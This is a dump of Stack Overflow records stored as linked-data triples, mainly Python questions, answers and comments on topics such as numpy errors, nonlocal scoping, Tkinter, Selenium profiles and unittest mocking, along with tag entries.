has text: @PhilipNaida: I have no idea where this error comes from but this has nothing to do with certificate validation. I've tried the code line you've shown (with a different capath and the mycerts.pem I've provided) and it works without problems for me. Is this really this line which is failing?

http://stackoverflow.com/a/47241846
has comment: http://stackoverflow.com/comment/81434550
type: Answer
has comment: http://stackoverflow.com/comment/81434635
has comment: http://stackoverflow.com/comment/81434551
has body: The language reference is saying that some statement in an outer scope must create the variable for nonlocal to refer to. For example, this is fine: def f(): def g(): a = 3 def h(): def i(): nonlocal a print(a) but this is not: def f(): def g(): def h(): def i(): nonlocal a print(a) because in the first snippet, Python can tell that nonlocal should use the a variable from the g function. In the second snippet, Python would have to create a new a variable in one of the enclosing functions, and it can't tell which.
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47241677
downvote count: 0
has comment: http://stackoverflow.com/comment/81434756
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47241677
score: 2
has comment: http://stackoverflow.com/comment/81434486
has comment: http://stackoverflow.com/comment/81434339
has comment: http://stackoverflow.com/comment/81434249
has comment: http://stackoverflow.com/comment/81434280

http://stackoverflow.com/q/47325185
has title: Randomising of browser profiles for Google Chrome in Selenium
tagged with: selenium-webdriver
has comment: http://stackoverflow.com/comment/81601217
tagged with: python-3.x
has body: I am wanting to randomise profiles for headless Chrome driver. The below works however it seems to launch the same profile each time. Code: Profiles = [] for x in ['--profile-directory=Person 3, --profile-directory=Person 2']: indexes = [index for index in range(len(x))] shuffle(indexes) for index in indexes: dataDir = "--user-data-dir=C:\\Users\\DAQ\\AppData\\Local\\Google\\Chrome\\User Data" chrome_options1 = webdriver.ChromeOptions() chrome_options1.add_argument(dataDir) chrome_options1.add_argument(x) driver1 = webdriver.Chrome(chrome_options=chrome_options1) driver1.get('https://www.google.com')
answer count: 0
downvote count: 0
tagged with: selenium
upvote count: 1
type: UnansweredQuestion
score: 1
tagged with: google-chrome
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81603461
tagged with: python

wrapper
tag name: wrapper
type: Tag
tags question: http://stackoverflow.com/q/47240087

http://stackoverflow.com/q/47289675
tagged with: mean
type: UnansweredQuestion
tagged with: machine-learning
has title: mean - ValueError: setting an array element with a sequence
tagged with: python
has comment: http://stackoverflow.com/comment/81530010
has comment: http://stackoverflow.com/comment/81530315
has comment: http://stackoverflow.com/comment/81531148
has comment: http://stackoverflow.com/comment/81529893
score: 0
has comment: http://stackoverflow.com/comment/81529898
has comment: http://stackoverflow.com/comment/81530571
has body: I have: A_prev = np.random.randn(2, 4, 4, 3) ... a_prev_slice = np.array(A_prev[vert_start:vert_end,horiz_start:horiz_end,:]) print("a_prev_slice.shape: "+str(a_prev_slice.shape)) print("np.mean(a_prev_slice,axis=(2,3)).shape: "+str(np.mean(a_prev_slice,axis=(2,3)).shape)) ... A[i, h, w, c] = np.mean(a_prev_slice,axis=(2,3)) this prints out: a_prev_slice.shape: (2, 2, 4, 3) np.mean(a_prev_slice,axis=(2,3)).shape: (2, 2) and fails with: ---&gt; 53 A[i, h, w, c] = np.mean(a_prev_slice,axis=(2,3)) ... ValueError: setting an array element with a sequence. doc for mean says it can take a tuple of ints, so I am lost. edit: i need to specify more subscripts when i do the slice and axis is not required.
type: Question
tagged with: numpy
answer count: 0

http://stackoverflow.com/a/47307022
downvote count: 0
answers question: http://stackoverflow.com/q/47306899
type: Answer
has comment: http://stackoverflow.com/comment/81564720
score: 2
has body: Python makes catching exceptions relatively easy. try: # some code except Exception, e: # Log the exception.
upvote count: 2

http://stackoverflow.com/comment/81545821
score: 0
comment on: http://stackoverflow.com/q/47297161
type: Comment
type: QuestionComment
has text: Also, `np.ndarray` objects don't have a `.map` method...

http://stackoverflow.com/comment/81409821
has text: You may choose to use relative imports OR from within the code update sys.path to add location of basics.py. I'd prefer creating another directory called lib or utils, move basics.py there, add __init__.py, update PYTHONPATH to the parent dir and then imports. The imports will look clean and consistent from lib.basics import foo, from component1.file1 import bar, etc.
comment on: http://stackoverflow.com/q/47229545
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/a/47334285
has body: You already defined a variable, that 'shares data between different instance': nextIdNum, so you can do the same for optionbook. class option(object): nextIdNum = 0 optionbook = {} def __init__(self): self.options = [] self.optioncomb = {} ... # rest of your code here z = option() z.addopttobook('z opens the well 1') z.addopttobook('z opens the well 2') y = option() z.addopttobook('y opens the well 1') y.addoptocomb('z opens the well 1') print(option.optionbook) print (option.optionbook == z.optionbook == y.optionbook) Returns: {'Opt.ID.0': 'z opens the well 1', 'Opt.ID.1': 'z opens the well 2', 'Opt.ID.2': 'y opens the well 1'} True # &gt;&gt; The class itself as well as all instances share the same data.
answers question: http://stackoverflow.com/q/47333786
score: 0
has comment: http://stackoverflow.com/comment/81620605
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47333786
type: Answer

http://stackoverflow.com/comment/81616741
score: 0
type: QuestionComment
has text: Sorry, that's a typo on here. Fixed.
comment on: http://stackoverflow.com/q/47332802
type: Comment

http://stackoverflow.com/a/47320920
type: Answer
has body: This is essentially the same as Blurp's answer, but I shortened it and made it a bit to make it more general. As you can see top should be an infinite loop, but bottom stops top immediately. from multiprocessing import Process valNotFound = True def top(): i=0 while ValNotFound: i += 1 def bottom(): ValNotFound = False p1 = Process(target = top) p2 = Process(target = bottom) p1.start() p2.start()
answers question: http://stackoverflow.com/q/47319674
score: 0

http://stackoverflow.com/q/47367543
has comment: http://stackoverflow.com/comment/81687687
possible better answer: http://stackoverflow.com/a/47367624
downvote count: 0
upvote count: 1
has title: Seach in a list of dictionaries after a value in for loop
has answer: http://stackoverflow.com/a/47367624
has comment: http://stackoverflow.com/comment/81687518
favorite count: 0
has answer: http://stackoverflow.com/a/47367563
type: Question
has answer: http://stackoverflow.com/a/47367663
has answer: http://stackoverflow.com/a/47367827
has body: I have saw solutions, but in this case after the first result the search is stopped. How Can I implement, that the search get all the dictionaries in the list with the searched value? search_value = input() match = next((l for l in cleaned_list if l['Name'] == search_value), None) print(match) This is not working with the following approach: search_value = input() match = next((l for l in cleaned_list if l['Schluesse'] == search_value), None) for match in cleaned_list: print(match) The data in the cleaned_list: {'Versuche - Anteil in %': '11.8', 'erfasste Faelle': '17', 'Nichtdeutsche Tatverdaechtige - Anzahl': '4', 'Tatverdaechtige insgesamt': '9', 'Nichtdeutsche Tatverdaechtige - Anteil in %': '44.4', 'mit Schusswaffe gedroht': '0', 'Tatverdaechtige - weiblich': '0', 'Gemeindeschluessel': '9277', 'Kreisart': 'LK', 'HZ nach Zensus': '14', 'Versuche - Anzahl': '2', 'Schluesse': '980100', 'Aufklaerungsquote': '52.9', 'Straftat': 'IuK-Kriminalität im engeren Sinne (SZ: 517500, 517900, 543000, 674200, 678000)', 'Stadt-/Landkreis': 'Rottal-Inn', 'mit Schusswaffe geschossen': '0', 'aufgeklaerte Faelle': '9', 'Tatverdaechtige - maennlich': '9'} {'Versuche - Anteil in %': '22.2', 'erfasste Faelle': '9', 'Nichtdeutsche Tatverdaechtige - Anzahl': '2', 'Tatverdaechtige insgesamt': '4', 'Nichtdeutsche Tatverdaechtige - Anteil in %': '50.0', 'mit Schusswaffe gedroht': '0', 'Tatverdaechtige - weiblich': '1', 'Gemeindeschluessel': '9278', 'Kreisart': 'LK', 'HZ nach Zensus': '9', 'Versuche - Anzahl': '2', 'Schluesse': '980100', 'Aufklaerungsquote': '44.4', 'Straftat': 'IuK-Kriminalität im engeren Sinne (SZ: 517500, 517900, 543000, 674200, 678000)', 'Stadt-/Landkreis': 'Straubing-Bogen', 'mit Schusswaffe geschossen': '0', 'aufgeklaerte Faelle': '4', 'Tatverdaechtige - maennlich': '3'} {'Versuche - Anteil in %': '17.6', 'erfasste Faelle': '17', 'Nichtdeutsche Tatverdaechtige - Anzahl': '6', 'Tatverdaechtige insgesamt': '14', 'Nichtdeutsche Tatverdaechtige - Anteil in %': '42.9', 'mi…
tagged with: python
tagged with: dictionary
answer count: 4
tagged with: search
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47367563
score: 1

http://stackoverflow.com/comment/81416911
type: Comment
type: QuestionComment
has text: Well spotted. I needed to create an update tag. Now it gets past that issue, but due to a missing header file
score: 0
comment on: http://stackoverflow.com/q/47232260

http://stackoverflow.com/comment/81458870
has text: @fins, I want to delete an object when reference count number of it changed to one or two or any other number.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47254130
score: 0

http://stackoverflow.com/q/47309526
has title: Why does my code not process correctly it keeps returning the wrong line?
has comment: http://stackoverflow.com/comment/81569613
has body: It is supposed to return a certain line if the Computer randomly picks a certain letter, but it chooses only one instance to repeat over and over again, even when the condition for the other sentence to be printed is met. import random Player_Score = 0 Computer_Score = 0 while Player_Score &lt; 5 or Computer_Score &lt; 5: Player_object = input("Would you like to choose R, P, or S?") Computer_object = str(random.sample(set(["R", "P", "S"]), 1)) if Player_object == "R" or Player_object == "r": if str(Computer_object) == "R": print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ".You have tied with the Computer and neither of you have scored a point.") elif str(Computer_object) == "P": Computer_Score = Computer_Score + 1 print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ". You have been beaten by the Computer and it has scored a point.") else: Player_Score = Player_Score + 1 print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ".You have beaten the Computer scored a point.") This code returns these results: Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['R'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['P'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['S'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['S'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['R'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['P'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?
tagged with: random
score: 0
answer count: 1
type: Question
linked to: http://stackoverflow.com/q/47288060
has comment: http://stackoverflow.com/comment/81577377
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47309697
tagged with: python

http://stackoverflow.com/comment/81656272
has text: @Joseph ah, ok :)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47351987
score: 1

http://stackoverflow.com/q/47242851
has comment: http://stackoverflow.com/comment/81436388
downvote count: 0
has body: I have a class class Vector(): def __init__(self, *args): self.coords = list(args) def __add__(self, other): temp = [] for i in range(len(self)): tmp.append(self[i] + other[i]) print(str(tmp)) return Vector(*tmp) def __getitem__(self, key): return self.coords[key] The goal is to make Vector class objects behave like vectors. I want do the addition operations like this list = [0, 1, 2, 3] v1 = Vector(3, 2, 1, 0) result1 = v1 + list result2 = list + v1 and get this results: result1 = Vector(3, 3, 3, 3) result2 = Vector(3, 3, 3, 3) When i defined the getitem method, Vector class started support indexing and result1 is correct. But result 2 returns TypeError: can only concatenate list (not "Vector") to list. I ran out of ideas what should I looking for to resolve this.
has title: adding class elements to list elements
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/5082190
has comment: http://stackoverflow.com/comment/81436678
has comment: http://stackoverflow.com/comment/81436358
tagged with: class
has comment: http://stackoverflow.com/comment/81436505
score: 2
has comment: http://stackoverflow.com/comment/81436421
tagged with: list
answer count: 0
linked to: http://stackoverflow.com/q/1952464
duplicate of: http://stackoverflow.com/q/5082190

http://stackoverflow.com/a/47262410
answers question: http://stackoverflow.com/q/47262285
has body: Try the following: print [line.split()[-1].strip() for line in lines if '!' in line][-1]
type: Answer
has comment: http://stackoverflow.com/comment/81478762
score: 0
has comment: http://stackoverflow.com/comment/81476273
has comment: http://stackoverflow.com/comment/81480754

http://stackoverflow.com/a/47276186
type: AcceptedAnswer
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/81503596
has comment: http://stackoverflow.com/comment/81503723
has comment: http://stackoverflow.com/comment/81503872
answers question: http://stackoverflow.com/q/47276125
has body: If you have a file called data.txt you can read in the file into a list of words, strip out the new-line character and create a set from the list: with open('data.txt') as f: raw = f.readlines() words = [i.strip() for i in raw] wordSet = set(words) If you want to make a class you could define it as something like: class listOfWords(object): """docstring for listOfWords.""" def __init__(self, wordFile): self.wordFile = wordFile self.wordSet = self.readfile() def readfile(self): with open(self.wordFile) as f: wordSet = {line.rstrip() for line in f} return wordSet Then create an object with: wordObject = listOfWords('data.txt') When you want to access the set of words you would call: wordObject.wordSet
has comment: http://stackoverflow.com/comment/81503649
accepted answer of: http://stackoverflow.com/q/47276125
has comment: http://stackoverflow.com/comment/81503773

http://stackoverflow.com/a/47305280
has body: Here is a possible solution. import json # your string json_string = '{ "users": [ {"name" : "test"}, {"name" : "test2"} ] }' # convert it to a python dictionary json_dict = json.loads(json_string) # append your data as {key:value} json_dict['users'].append({'name':'test3'}) # convert it back to string json_string = json.dumps(json_dict) print (json_string)
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47305065

http://stackoverflow.com/comment/81467899
score: 0
type: Comment
type: QuestionComment
has text: what is your requirement from the innerHtml ??
comment on: http://stackoverflow.com/q/47258636

http://stackoverflow.com/comment/81594080
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47321581
score: 0
has text: Dont reinvent the wheel. https://github.com/coinbase/coinbase-python

http://stackoverflow.com/a/47345270
answers question: http://stackoverflow.com/q/47334766
has body: You can override the fields that Wagtail FieldPanel uses by customising generated forms documented here: http://docs.wagtail.io/en/v1.13/advanced_topics/customisation/page_editing_interface.html#wagtail.wagtailadmin.forms.WagtailAdminPageForm Basic example below - myapp/models.py from django import forms from django.db import models from wagtail.wagtailadmin.edit_handlers import FieldPanel from wagtail.wagtailadmin.forms import WagtailAdminPageForm from wagtail.wagtailcore.models import Page class MyCustomPageForm(WagtailAdminPageForm): # fields here are django.forms fields # when set to localize, renders as a TextInput widget total_amount = forms.DecimalField(localize=True) # when left with defaults, renders as a NumberInput widget # total_amount = forms.DecimalField() # can also set any kind of widget here # total_amount = forms.DecimalField(widget=MyCustomDecimalWidget) class MyCustomPage(Page): # fields here are django.db.models fields total_amount = models.DecimalField() content_panels = Page.content_panels + [ FieldPanel('total_amount'), ] base_form_class = MyCustomPageForm # important: must set this When you set the form field to localize=True it appears to follow the intended behaviour as per the Django Docs which is to render a TextInput widget. You could also set your own widget for any field in your page's form class if you want to do some more complicated functionality.
upvote count: 1
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/q/47366118
tagged with: python
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81686116
accepted answer: http://stackoverflow.com/a/47366973
answer count: 1
has answer: http://stackoverflow.com/a/47366973
favorite count: 0
score: -1
has body: I have already written a script, that should calculate an intersected point (xp, yp) based on different variables (xa, ya, xb, yb, xc, yc, xd, yd) and draw segments with points in coordinate system. Generaly it works, but there is one problem. I would like to show my result (xp, yp) in window Tkinter after clickig button "Oblicz", but after implement self.xp.set(XP) I get an error AttributeError: Entry instance has no attribute 'set'. What is wrong with it? How can I amend it? from Tkinter import * import matplotlib.pyplot as plt import numpy as np import itertools class Calculator: def __init__(self, master): self.master = master master.title("Przecinanie prostych") vcmd = master.register(self.validate) # we have to wrap the command self.entry = Entry(master, validate="key", validatecommand=(vcmd, '%P')) self.zamknij_button = Button(master, text='Zamknij',command=master.quit) #draw result** self.rysuj_button = Button(master, text=' Rysuj ', command=lambda:self.draw()) #show result** self.oblicz_button = Button(master, text=' Oblicz ', command=lambda:self.update()) # LAYOUT ONLY self.xp = DoubleVar() self.yp = DoubleVar() self.xa_label = Label(master, text="XA") self.xa_label.grid(row=0) self.ya_label = Label(master, text="YA") self.ya_label.grid(row=1) self.xb_label = Label(master, text="XB") self.xb_label.grid(row=2) self.yb_label = Label(master, text="YB") self.yb_label.grid(row=3) self.xc_label = Label(master, text="XC") self.xc_label.grid(row=4) self.yc_label = Label(master, text="YC") self.yc_label.grid(row=5) self.xd_label = Label(master, text="XD") self.xd_label.grid(row=6) self.yd_label = Label(master, text="YD") self.yd_label.grid(row=7) self.e7_label = Label(master, text="XP") self.e7_label.grid(row=9) self.e7 = Entry(master, textvariable = self.xp) self.e7.grid(row = 9, column = 1) self.e8_label = Label(master, text="YP") self.e8_label.grid(row=10) self.e8 = Entry(master, textvariable = self.yp) self.e8.grid(row = 10, column = 1) self.zamknij_button.grid…
type: Question
tagged with: python-3.x
tagged with: tkinter
upvote count: 0
has title: How to show result in the window (Tkinter) - "AttributeError" after running a script

http://stackoverflow.com/comment/118815160
comment on: http://stackoverflow.com/a/54423238
type: Comment
type: AnswerComment
score: 1
has text: Thank you for this! Didn't know about the flatten_json library before. This will minimize my code by quite a bit.

http://stackoverflow.com/q/47374710
tagged with: python
accepted answer: http://stackoverflow.com/a/47374791
type: Question
tagged with: numpy
has title: Numpy vectorize function with non-scalar output
upvote count: 2
has comment: http://stackoverflow.com/comment/81701948
answer count: 1
downvote count: 0
has body: I'm trying to vectorize a function that outputs a list. I wish to feed it all values from a numpy list and have it return a matrix, such that each row is an output for an element in the input vector. import numpy as np def func(x, n): o = [] for i in range(n): o.append(x+i) return o vec_func = np.vectorize(func) matrix = vec_func(np.asarray([0, 1, 2]), 10) however i get the error ValueError: setting an array element with a sequence. how can i fix this?
has comment: http://stackoverflow.com/comment/81702108
favorite count: 0
has answer: http://stackoverflow.com/a/47374791
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/81576689
comment on: http://stackoverflow.com/q/47312836
type: Comment
has text: @Ev.Kounis Thank you! I try to work out by myself, but when I get stuck I ask with done work
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81704400
score: 2
type: AnswerComment
has text: On the communication of network, how an [LSB 0](https://en.wikipedia.org/wiki/Bit_numbering) host could correctly interpret data send by an MSB 0 host?
comment on: http://stackoverflow.com/a/47373789
type: Comment

http://stackoverflow.com/a/47283983
type: Answer
has body: Use a resolution that uses specific sizing that is large : fig = plt.figure(figsize=(19.20,10.80)) produces 1080p for example and you can go much higher than this.
answers question: http://stackoverflow.com/q/47283912
upvote count: 7
downvote count: 1
score: 6

syslog
tags question: http://stackoverflow.com/q/47268181
tag name: syslog
type: Tag

http://stackoverflow.com/comment/96697486
type: AnswerComment
comment on: http://stackoverflow.com/a/47377540
score: 0
type: Comment
has text: How Can I leave only one of escaped characters ?

http://stackoverflow.com/q/47228177
downvote count: 0
linked to: http://stackoverflow.com/q/28882226
tagged with: flask
has body: I'm trying to test my code with python unittest.mock. Actually, my way of testing was very inspired from this blog post: http://engineroom.trackmaven.com/blog/real-life-mocking/ Here is a part of the module i want to mock things in it : class RestRequestManager: """ A Context Manager for class RestRequest. This context manager is call using the "with" statement and take a RestRequest object as parameter. The point is to automate login and logout. """ def __init__(self, restReq): self.restReq = restReq def __enter__(self): """ Enter : login() """ self.restReq.login() return self.restReq def __exit__(self, type, value, traceback): """ Exit : logout() """ self.restReq.logout() class RestRequest(RestRequestBase): """ class RestRequest. """ def __init__(self, username, password, url_rest_base, endpoint, method, *args, payload=None, outfile=None, file_mod=None): super().__init__(username, password, url_rest_base, endpoint, method, *args) self.method = method self.payload = payload self.outfile = outfile self.file_mod = file_mod self.response = None def get_response(self): return self.response Here is a part of the Flask app using this module : class CtrlmJobIdLogs(Resource): """ Control-M log on jobid """ def get(self, jobid): """Get job's log.""" rest_req = restRequest.RestRequest(USERNAME, PASSWORD, URL_REST_BASE, ENDPOINT_LOGS, 'GET', jobid, payload=None, outfile=None, file_mod=None) with restRequest.RestRequestManager(rest_req) as req_man: req_man.perform() logging.debug('DEBUG&gt;&gt; : ctrlm_job --&gt; {}'.format(jobid)) return {jobid: req_man.get_response().json()} Here is my test : class MockTests(unittest.TestCase): """ Test the rest module with mocks """ ############################ #### setup and teardown #### ############################ def setUp(self): """ Executed prior to each test """ app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False app.config['DEBUG'] = False self.client = app.test_client() def tearDown(self): """ executed after each t…
favorite count: 0
tagged with: unit-testing
has comment: http://stackoverflow.com/comment/81412300
has comment: http://stackoverflow.com/comment/81651892
has comment: http://stackoverflow.com/comment/81407291
tagged with: python-unittest
tagged with: python
has title: Python unittest mocking a class instance variable
has comment: http://stackoverflow.com/comment/81412140
type: Question
answer count: 0
tagged with: mocking
has comment: http://stackoverflow.com/comment/81412026
upvote count: 2
score: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/81445735
type: Comment
has text: You are not able to use `fig.draw()`. The reason is that you would need to supply a renderer ( `fig.draw(renderer)`). However, you don't want to get a renderer and instead draw the canvas. `fig.canvas.draw_idle()` is recommended over `fig.canvas.draw()`. (For an explanation for this see first part of [this answer](https://stackoverflow.com/a/43386513/4124317).)
type: AnswerComment
comment on: http://stackoverflow.com/a/47247476
score: 0

http://stackoverflow.com/q/47342271
answer count: 2
has body: I have a shell script which pipes the files of a certain directory into a file titled "list.txt". I am trying to write a python script that reads in the names of the files inside list.txt, opens them, and saves their contents to a list. Each file inside of list.txt contains two numbers on two different lines. So far, I have been able to read in the files of the names of the files in the directory, however I keep getting an error when trying to read in the contents of the files: IndexError: list assignment index out of range Below is the code I have written so far: f = open("list.txt") file = f.readlines() f.close() del file[0] del file[0] file = [w.replace('\n','') for w in file] #print file length_file = len(file) data = [] for i in range(0,1): fa = open(file[i]) # print fa data[i] = fa.read() fa.close() data[i] = [t.replace('\n','') for t in data] #print i #print data #print data[1] The error occurs on the line data[i] = fa.read() statement. Any help is greatly appreciated! Thanks in advance!
has title: Reading the contents of several files into a list in Python
tagged with: file
has answer: http://stackoverflow.com/a/47342996
has answer: http://stackoverflow.com/a/47354050
type: Question
has comment: http://stackoverflow.com/comment/81636735
has comment: http://stackoverflow.com/comment/81637542
has comment: http://stackoverflow.com/comment/81638073
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81638296
tagged with: python
has comment: http://stackoverflow.com/comment/81636963
has comment: http://stackoverflow.com/comment/81636820
has comment: http://stackoverflow.com/comment/81636728
score: 0
tagged with: list
linked to: http://stackoverflow.com/q/30114934

http://stackoverflow.com/q/47238822
has comment: http://stackoverflow.com/comment/81427971
has body: I have this program which I want to calculate the price for the number of tables with the menu packages: noPeople = int(input('enter no. of people:')) def calculateTableTotal(noPeople): if noPeople &lt;= 15: return('Tables:',1) elif (noPeople &gt;= 16) or (noPeople &lt;= 35): return('Tables:',3) elif (noPeople &gt;= 36) or (noPeople &lt;= 55): return('Tables:',5) elif (noPeople &gt;= 56) or (noPeople &lt;= 75): return('Tables:',7) calculateTableTotal(noPeople) print(''' ------------------------------------------------------------- Menu Option ------------------------------------------------------------- [1] 768.88 Package [3] 1118.88 Package [2] 898.88 Package [4] 1488.88 Package ''') totalTable = calculateTableTotal(noPeople) choice = input('enter menu choice:') def calculateMenuPrice(totalTable,choice): if choice == '1': print('Total:',totalTable*(int(768.88))) if choice == '2': print('Total:',totalTable*(int(898.88)) if choice == '3': print('Total:',totalTable*(int(1118.88)) if choice == '4': print('Total:',totalTable*(int(1488.88))) calculateMenuPrice(totalTable,choice) It seems that the answer keeps on repeating the (return('tables:')): enter no. of people:34 ------------------------------------------------------------- Menu Option ------------------------------------------------------------- [1] 768.88 Package [3] 1118.88 Package [2] 898.88 Package [4] 1488.88 Package enter menu choice:1 ('Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:', 3, 'Tables:…
has answer: http://stackoverflow.com/a/47239009
type: Question
has comment: http://stackoverflow.com/comment/81428111
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81428077
accepted answer: http://stackoverflow.com/a/47238927
has comment: http://stackoverflow.com/comment/81428002
has comment: http://stackoverflow.com/comment/81427973
tagged with: python
has answer: http://stackoverflow.com/a/47238927
possible better answer: http://stackoverflow.com/a/47239066
has comment: http://stackoverflow.com/comment/81428014
has title: How to use return answer from other function to the next one?
has answer: http://stackoverflow.com/a/47239066
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81427903
answer count: 3
score: 0

http://stackoverflow.com/q/47317503
has title: Performance penalty of long list in python logging.debug()
has answer: http://stackoverflow.com/a/47317554
has comment: http://stackoverflow.com/comment/81629772
possible better answer: http://stackoverflow.com/a/47317554
accepted answer: http://stackoverflow.com/a/47317593
tagged with: logging
favorite count: 0
type: Question
type: AnsweredQuestion
score: 3
tagged with: python
has answer: http://stackoverflow.com/a/47317593
answer count: 2
has body: How lazy is evaluation in Python? If I have code that looks like logging.debug('My very long list: %s' % list(x for x in long_generator)) and the logging effective level is such that debug messages are ignored, do I incur a performance penalty for having this line?
upvote count: 3
downvote count: 0

http://stackoverflow.com/a/47378663
answers question: http://stackoverflow.com/q/47374965
has body: The loop ends when there is no code after the tab space so technically your loop has already ended
score: 0
type: Answer

http://stackoverflow.com/comment/81448034
score: 0
comment on: http://stackoverflow.com/a/47248837
type: Comment
has text: then I get :DeprecationWarning: Passing 1d arrays as data is deprecated in 0.17 and will raise ValueError in 0.19. Reshape your data either using X.reshape(-1, 1) if your data has a single feature or X.reshape(1, -1) if it contains a single sample.
type: AnswerComment

http://stackoverflow.com/q/47278905
favorite count: 0
linked to: http://stackoverflow.com/q/9637838
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/81508482
has comment: http://stackoverflow.com/comment/81508589
has comment: http://stackoverflow.com/comment/81508506
upvote count: 0
has body: How to convert below date to unix format using python ? I have checked for date month and year format but it is not working Date: "10 Nov 2017" Please help.
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/81508419
has answer: http://stackoverflow.com/a/47278999
accepted answer: http://stackoverflow.com/a/47279088
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6402812
has answer: http://stackoverflow.com/a/47279088
has comment: http://stackoverflow.com/comment/81508498
downvote count: 3
has title: How to convert date to unix format
tagged with: date
possible better answer: http://stackoverflow.com/a/47278999
linked to: http://stackoverflow.com/q/311627

http://stackoverflow.com/comment/82474869
comment on: http://stackoverflow.com/a/47335756
type: Comment
type: AnswerComment
has text: I added image to answer
score: 0

http://stackoverflow.com/comment/81664413
comment on: http://stackoverflow.com/q/47355979
type: QuestionComment
score: 0
has text: Is stuff going to stderr instead?
type: Comment

http://stackoverflow.com/comment/81686024
type: Comment
comment on: http://stackoverflow.com/a/47333131
type: AnswerComment
has text: Oh! I think I get it. Let me try it and if it works I'll be sure to thank you!
score: 0

sql-server
tags question: http://stackoverflow.com/q/47355141
tags question: http://stackoverflow.com/q/47287139
tags question: http://stackoverflow.com/q/47369044
tags question: http://stackoverflow.com/q/47332799
tags question: http://stackoverflow.com/q/47265705
tags question: http://stackoverflow.com/q/47288391
tags question: http://stackoverflow.com/q/47318359
type: Tag
tags question: http://stackoverflow.com/q/47382463
tags question: http://stackoverflow.com/q/47327410
tags question: http://stackoverflow.com/q/47273543
tags question: http://stackoverflow.com/q/47282059
tags question: http://stackoverflow.com/q/47228045
tag name: sql-server

http://stackoverflow.com/q/47300904
answer count: 5
downvote count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/47300935
has title: Why isn't .reverse() working?
has answer: http://stackoverflow.com/a/47300935
has answer: http://stackoverflow.com/a/47300959
score: 2
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/47300934
tagged with: reverse
has answer: http://stackoverflow.com/a/47300976
accepted answer: http://stackoverflow.com/a/47300959
has answer: http://stackoverflow.com/a/66764513
has body: I am trying to take a sentence and split that sentence, reverse it, and print it to the screen. I am having trouble understanding how .reverse() works? When I do something like: test = ['This','is','a','test'] new_test = test.reverse() print(new_test) When I run this I am getting None, why is this? How can I make .reverse() work? Here is my final code: sentence = input("What is your sentence? ") split_sentence = sentence.split().reverse() for word in sentence: print(word,end='')
favorite count: 0
type: Question
upvote count: 2

http://stackoverflow.com/a/70907761
score: 1
type: Answer
has body: Mentioning another option because I found this page in a google search and the other option works for my simple use case. Hopefully it'll be of use to someone. If the function you're interpolating is very simple and always has a 1:1 relationship between y and x, then you can simply take your data, swap x and y when you pass it into interp1d, and then call the interpolation function in that direction. Adapting code from https://docs.scipy.org/doc/scipy/reference/generated/scipy.interpolate.interp1d.html import numpy as np import matplotlib.pyplot as plt from scipy import interpolate x = np.arange(0, 10) y = np.exp(-x/3.0) f = interpolate.interp1d(x, y) xnew = np.arange(0, 9, 0.1) ynew = f(xnew) plt.plot(x, y, 'o', xnew, ynew, '-') plt.show() When x and y have been swapped you can call swappedInterpolationFunction(a) to get the x value where that would occur. f = interpolate.interp1d(y, x) xnew = np.arange(np.exp(-9/3), np.exp(0), 0.01) ynew = f(xnew) plt.plot(y, x, 'o', xnew, ynew, '-') plt.title("Inverted") plt.show() Of course, if the function ever has multiple x values for a given y value (like sine or a parabola) then this will not work because it will no longer be a 1:1 function from x to y, and the above answers are necessary. This is just a simplification in a limited use case.
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47275957

http://stackoverflow.com/q/47338568
linked to: http://stackoverflow.com/q/17908593
answer count: 2
score: 5
downvote count: 0
